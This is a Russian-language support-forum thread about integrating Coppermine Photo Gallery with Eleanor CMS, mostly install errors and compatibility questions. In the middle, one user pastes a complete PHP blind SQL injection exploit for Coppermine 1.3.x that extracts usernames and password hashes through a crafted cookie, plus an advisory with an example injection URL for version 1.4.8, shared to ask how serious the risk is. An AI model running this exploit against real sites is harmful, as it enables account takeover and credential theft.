CMS Eleanor - Поиск
Полная версия этой страницы: Официальный форум Eleanor CMS » Интеграция с Coppermine Photo Gallery
Официальный форум Eleanor CMS » Поддержка пользователей системы Eleanor CMS » Запросы функционала » Поддержка модификаций
Alexander
Интеграция с Coppermine Photo Gallery

Версия: 1.0.0
Раздел: Бесплатные дополнения

Описание:
Позволяет интегрировать Вашу копию Eleanor CMS с популярным движком для создания фото галерей Coppermine Photo Gallery
Даная интеграция позволяет Вам интегрировать Coppermine Photo Gallery с Вашей копией Eleanor CMS.
Coppermine Photo Gallery - очень популярный движок для создания фотогалерей, он уже оснащен всем необходимым и под него написано довольно много полезных разработок. Поэтому, чем писать собственную галерею для системы - лучше воспользоваться уже готовым бесплатным и прекрасным.

Посмотреть файл

Подтверждение Alexander, от 11.7.2009, 1:44
Jon
Сделал всё по инструкции...
Fatal error: require_once() [function.require]: Failed opening required '/config_general.php' (include_path='.:') in /home/****/domains/*****.ua/public_html/gallery/bridge/eleanor_cms.inc.php on line 37
NoIndex
Как бы не может найти файл config_general.php :-)

В «Менеджер интеграции», что указывали?
Надо (в моём случаи система стоит локально, в папке eleanor):
Цитата
Ссылка форума: http://localhost/eleanor
Относительный путь к файлу конфигурации Вашего форума: ../eleanor/
Префикс Cookie:
kdv1978
Jon, если получилось установить выложи ссылку где можно взглянуть на галерею, или может кто ещё устанавливал - покажите что получилось.
Screatch
Я на локалке устанавливал всё работает как часы..
Реализован только совместный вход / выход с обоих концов.
myk0lka
Нашел на просторах рунета:

Цитата
Программа: Coppermine Photo Gallery 1.3.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «pid» сценарием addfav.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.


<?
# Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
# by s0cratex, RTM Member
# Visit: www.zonartm.org

/*
You need make a small work... Add a fav pic, enter to the site and add
/addfav.php?pid=2 for example..xD
... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo
chr($i); break; }  }
the word "download" depends of the language...
*/

# saludos a rgod, OpTix, crypkey &#39;n mechas...

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$host = "localhost"; $path = "/cpg"; $port = "80";
$id = "1";

echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
echo "--------------------------------------------------------------\n";
echo "\n";
echo "Username -> ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "&#39;&#39;) OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx = fsockopen($host,$port);
fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx)){
if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; }  }
fclose($cnx);
if ($x==255) {
die("\n Try again..."); }
}
$j++;
}
echo "\n";
echo "Password -> ";
$a = 1; $pass = "";
while(!strstr($pass,chr(0))){
for($i=0;$i<255;$i++){
$xpl = "&#39;&#39;) OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx2 = fsockopen($host,$port);
fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx2)){
if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; }
}
fclose($cnx2);
if ($i==255) {
die("\n Try again..."); }
}
$a++;
}
echo "--------------------------------------------------------------\n";
echo "s0cratex@zonartm.org || if you speak spanish->MSN: s0cratex@hotmail.com ..xD\n";
echo "www.zonartm.org/blog/s0cratex\n";
echo "plexinium.com comming soon <- Hacking Nica\n";
?>


Сам я не могу оценить на сколько всё приведённое выше серьёзно, а потому может кто-то отпишется по этому поводу? На сколько скрипт галереи делает сайт уязвимым?
Цитата (myk0lka @ 26.8.2009, 15:32)
Сам я не могу оценить на сколько всё приведённое выше серьёзно, а потому может кто-то отпишется по этому поводу? На сколько скрипт галереи делает сайт уязвимым?

Если эта уязвимость отсносится к установленной у вас версии Coppermine (если она 1.3.x), то хакер вполне может захватить и Coppermine, и Eleanor :) Поудалять новости, ещё чего попортить...
Но сейчас вроде вышла уже 1.4 .. В ней этой уязвимости может не быть
myk0lka
Да, уже нашел 1.4.... Но пока все же ставить не буду..... Поищу что есть подобного по ней....

И кстати: а эта интеграция с 1.4 совместима?

UPD:
Не буду я пока эту галерею ставить:)

Цитата
Программа: Coppermine Photo Gallery 1.4.8, возможно более ранние версии

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в HTTP заголовках "referer" и "user-agent" в функции "add_hit()". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc".

Пример:

/cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID}


Хотя про 1.4.25 (последняя версия на их сайте) я пока ничего не нашёл.....
azacgrus
Цитата
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

очень безопасно без твоего ведома выполнять запросы:)
c 1.4.25 проблема, когда интеграция включена, невозможно просмотреть пользователей в галлерее.... Как решить такую проблему?

И еще как сделать так: когда неавторизированный юзер входит в галлерею ему выдавало редирект не на вход в галлерею а вход на сайт....
Alexander
Free3e, странно. А почему нельзя?
Вот так не получается кидает на странницу настроек (конфига галлереи) а если она выключенна все работает...
Alexander
Free3e, тут смотреть надо. Скиньте данные для доступа по личке - посмотрим.
как эта интеграция будет работать, если установлена интеграция IPB и вообще совместимы ли они?
c0wb0y
Скажите, а эта интеграция будет работать на RC5?
c0wb0y
Проверил, не работает. :(

Fatal error: require_once() [function.require]: Failed opening required '/config_general.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/***/public_html/gallery/bridge/eleanor_cms.inc.php on line 37
Alexander
c0wb0y, напишите мне на мыло.. За пару долларов - все исправим :)
termit
Цитата (c0wb0y @ 2024-05-20 17:42)
Проверил, не работает.

Fatal error: require_once() [function.require]: Failed opening required '/config_general.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/***/public_html/gallery/bridge/eleanor_cms.inc.php on line 37

Попробуйте на Coppermine 1.4.25 :)
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.